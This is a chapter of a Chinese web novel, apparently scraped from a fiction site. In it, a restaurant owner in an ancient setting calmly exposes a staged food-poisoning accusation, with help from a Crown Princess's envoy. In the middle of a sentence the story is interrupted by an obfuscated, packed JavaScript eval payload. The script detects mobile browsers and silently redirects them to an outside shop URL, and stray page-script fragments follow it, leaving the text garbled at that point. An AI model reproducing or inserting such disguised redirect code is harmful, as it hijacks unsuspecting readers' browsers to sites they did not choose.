文趣网 > 都市小说 > 穿回古代掌大勺 > 26. 第 26 章
    一夜风雨悄散,天光破开云层,落满长街。

    饴味居大门半开,晨间炊火刚起。

    福贵倚着门框,不停踮脚望向街口方向,眉头拧得紧紧的,顺子拎着抹布,半天擦不完一块桌案,目光同样死死盯着街面,时不时叹气一声。

    坊间都传,饴味居杜老板被官差连夜带走拘审,吉凶难料。

    店里上下也是彻夜难安,众人一早就守在店内,只盼杜禾饴平安现身。

    脚步声自廊下响起,玉浓走出内院,故作厉声呵斥:“杵在这里做甚?不都不用干活了?”语气虽严厉,可她眼角余光,却不受控制飘向长街来路,心底牵挂分毫不少。

    “吱呀——”木门推开,一身素色衣裙的杜禾饴缓步走来,鬓发规整,不见半点伤痕狼狈。

    “东家,你回来了!”

    福贵和顺子瞬间眼睛一亮,脸上愁色尽数散去,店内伙计也纷纷转头,满店沉闷一扫而空,尽数化作踏实的欢喜。

    玉浓心底大石落地,端着几分自持佯作淡然:“早跟你们说了,不会有事,抓紧忙活晨间事宜,切莫耽误开市。”

    遣散一众伙计,玉浓快步上前,拉起杜禾饴径直走到僻静之处,确认无人才发问:“昨夜到底发生何事?你有没有出事?有没有被人刁难伤害?”

    杜禾饴眉眼弯起,轻轻拍了拍玉浓手背安抚,轻快从容:“放心,我这不是平平安安站在这里吗,半点事没有。”

    玉浓藏不住担忧,依旧蹙眉,还欲追问细节。

    杜禾饴正色几分,正要开口交代一些事情,便被打断。

    “杜老板!杜老板你可在店内!”

    绸缎庄赵夫人步履匆匆闯进店内,神色焦灼,径直冲到二人身前。

    赵夫人喘着粗气,语速极快:“可算找到你了!今早满城都传,昨夜官府官差将你直接带走问话,饴味居怕是要封店!”

    “噗嗤——”杜禾饴与玉浓同时笑出声。

    “夫人如今见到我了,看我可是有事的样子?”杜禾饴忍不住打趣。

    “妹子别笑,还有一桩要紧事。”赵夫人紧紧抓住杜禾饴的手,“昨日有人食用了你家四时养正餐,入夜之后便心口燥热,肺腑灼痛不止,整夜难眠,还特意去医馆看诊调理,说是食补相冲!”

    杜禾饴与玉浓对视一眼,颇为不解。

    四时养正餐开店售卖了这么些日子,口碑极佳,从未出过差错。

    杜禾饴瞬间严肃了:“哦?是吗?倒是第一次听闻有不适的情况。”

    仿佛为了印证这话似的,前厅立刻响起喧闹人声,伴随着伙计阻拦的声音,一道拔高的男声刻意传开:“就是这家饴味居!就是他家四时养正餐害人!吃完燥热攻心,今日我定要讨一个说法!”

    玉浓脸色一沉,当即就要往前厅走去,却被杜禾饴拦住。

    “不必慌,既是冲着饴味居来的,躲不开。”杜禾饴十分从容,抬手理了理衣袖,“你看好后厨,今日后厨所有剩餐,留样碟碗,一粒食材都不准丢,尽数封存。”

    交代完毕,她抬步往前厅走去,不见半分怯意。

    赵夫人急的转了两圈,跟了上去。

    此时饴味居门口围满过路百姓,里三层外三层,水泄不通。

    一名中年男子站在中央,不停咳嗽,身旁还跟着一名拎着药包的郎中,摆明了是人证物证齐备。

    男子见杜禾饴现身,立刻声泪俱下:“各位街坊作证!我昨日吃了饴味居的四时养正餐,夜间便心口滚烫,火烧一般难受,彻夜高热口干,请来郎中诊治,直言是食补燥热伤身!”

    围观百姓顿时议论纷纷,昨夜杜禾饴被官差带走的流言本就未散,如今再添食膳伤人一事,众人看向饴味居的眼神瞬间变得迟疑忌惮。

    那男子见群情激奋,立刻再添一把火:“杜老板,你这药膳吃食害人不浅!”

    顺子和福贵挡在店门口,急得满脸通红,却嘴笨不会辩驳,只能干着急。

    赵夫人紧随杜禾饴走出,高声喝道:“不可能!我每日必吃四时养正餐,绝不可能燥热伤身,分明是你故意找茬!”

    “夫人偏袒店家!”男子擎等着似的,立刻抬手亮出手里药渣,“这是我服药余下的药渣,郎中可作证,我就是食用饴味居餐食所致!”

    周遭议论声愈盛,局势渐渐偏向闹事男子。

    万众瞩目之下,杜禾饴缓步踏出店门,立于台阶之上,声音落进众人耳中:“四时养正餐,无一味热性食材,只会退热安神,绝无燥热攻心之效,各位若想了解,可到我店后厨一观。”

    此言一落,立刻有民众附和:“对啊,没有令人上火的食材,这位小哥,何以有如此症状?”

    杜禾饴找准时机,语气笃定:“第二,我店规矩,每日都会留样封存于后厨,保存三日备查,你既说是昨日吃过之后不适,正好,昨日售出的四时养正餐留样完好,可当众查验。”

    闹事男子面色已有几分慌乱,嘴上依旧强硬,妄图煽动围观众人:“口说无凭!留样可作假!说辞更是片面!全城皆知你昨夜被官差连夜带走问话,定然是你品行不正,膳品有毒!”

    围观人群顿时再起骚动,猜忌声此起彼伏。

    原来如此。

    杜禾睫羽骤然一凛,心底清明彻悟:此人掐准她被东宫传唤的空档,一早布局造势,就等她现身发难,借官差问话一事坐实她有罪,步步算计,分秒不差。

    只是,对方终究棋差一招。

    她抬眸直视男子,神色坦荡无畏:“没错,昨夜我的确被官差带走问话,那又如何?”

    男子见状大喜,立刻趁热打铁,对着围观百姓高呼:“大家听见了!她自己承认了!被官府传唤问话,便是身上有罪,饴味居害人一事板上钉钉!”

    杜禾饴闻言忽而仰头,朗声大笑,毫无半分怯色。

    笑声未落,人群中骤然分开一条通路,腰佩东宫腰牌的随侍穿过围观百姓,径直走到店门前台阶下,对着杜禾饴躬身行礼,声线洪亮,响彻长街:“杜老板,太子妃娘娘特意命属下来取餐食。”

    东宫腰牌制式醒目,街边喧闹戛然而止,全场死寂。

    方才起哄猜忌的男子僵在原地,脸色青白变幻,浑身僵硬。

    若是杜禾饴品行有差,东宫怎会特意派人登门,请她制膳?

    所有栽赃,顷刻间不攻自破。

    闹事之人脸色惨白如纸,双腿一软,险些瘫倒在地,再也发不出半点辩驳的声音。

    街边暗处,一直坐等饴味居倒闭的钱满仓,听闻东宫随侍此话,一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17619714|204176||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    口气郁结胸口,脸色胀成紫红。

    抬手狠狠砸碎手边茶杯,浑身气得发抖,眼底只剩不甘与愤恨。

    眼见风波已定,杜禾饴目光落向一旁僵住的郎中:“这位郎中,你诊脉判定他为食补燥热,可知燥热分两种,食材内生热与外物添毒燥热,脉象全然不同?”

    那郎中见点了自己的名,立刻低头,目光躲闪不敢对视。

    “食补内热者,脉象浮缓,而若是人为添燥热药,脉象则急促驳杂,一摸便知。”这法子,还是昨夜跟着李珩府中那位老太医所学。

    杜禾饴上前半步:“再者,我饴味居的餐食并无上火之物,可若是事后误食燥性药材,舌苔必定赤红厚重,二者天差地别。”

    此话一出,围观百姓纷纷起哄,让男子抬手验舌苔。

    男子、下意识后退半步,死死捂住嘴不肯抬手,底气彻底溃散。

    “烦请差爷带走二人核验,查验郎中药箱,必能查出专为制造燥热的烈性药物,便可查清我饴味居被栽赃一事。”杜禾饴看向街边巡街衙差,朗声开口。

    那巡街衙差本就在附近观望,闻言立刻上前,直接扣住闹事男子与郎中。

    不过稍加盘问,二人心理防线崩塌,当场招供,是受人银两指使,想要一举搞垮饴味居,毁掉杜禾饴名声。

    真相大白,围观百姓瞬间调转风向,纷纷怒斥无赖栽赃,夸赞杜禾饴心思缜密。

    衙差带人离去,风波转瞬平息。

    赵夫人长松一口气,由衷看向杜禾饴:“妹子,你倒是镇定,今日哪怕换做是我,也是百口莫辩。”

    杜禾饴抬手,柔声引着赵夫人往店内厅堂走去,进店落座后,方才长篇辩驳耗费太多气力,她拿起桌边青瓷茶盏,仰头灌下一大口凉茶,缓了片刻才抬眼看向赵夫人。

    “今日多谢夫人一早不顾风险赶来告知内情,这份情义,我记在心里。”杜禾饴语气诚恳,眉眼谦和,“只是眼下店里诸事繁杂,还要对接东宫来人,无暇好好招待夫人,改日我备好薄礼,亲自登门拜谢。”

    赵夫人闻言下意识抬眼,看向门外气度不凡的东宫侍从,心底骤然一动。

    东宫专人登门取餐,足以见得杜禾饴深得太子妃信任,背靠东宫这座大山,早已不是普通市井商户。

    这般人脉机缘,是她打拼半辈子都难以攀附的机遇。

    心念至此,赵夫人立连忙摆起笑意,客气拱手:“妹子客气了,举手之劳而已,店里要事要紧,我便不多逗留,先行告辞。”

    “我送夫人。”杜禾饴起身,浅笑从容,一路将赵夫人送至店门口,目送她乘车离去,才转身折返店内。

    她径直走到门外东宫随侍身侧,微微颔首:“劳请随侍大人随我移步后厨,细说膳食事宜。”

    一行人步入后厨,杜禾饴屏退周边打杂小工,单独留下玉浓,沉声叮嘱:“往后后厨每日单独备两份膳食,每日固定时辰,这位大人会上门取走。”

    她看向灶台,郑重道:“东宫膳食容不得半点差池,从采买食材,清洗烹制到装盘封盒,全程专人经手、单独留样,后厨人员严加管控,出入食材一一登记,半点疏漏都不可有。”

    玉浓神色一凛,当即正色应道:“我会后厨严加管控,绝不让人有机可乘。”